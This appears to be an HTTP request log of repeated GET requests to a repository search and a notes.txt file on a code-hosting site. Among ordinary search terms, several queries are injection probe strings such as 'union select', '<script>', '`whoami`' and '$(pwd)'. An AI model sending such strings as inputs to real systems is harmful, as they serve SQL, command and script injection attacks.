{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
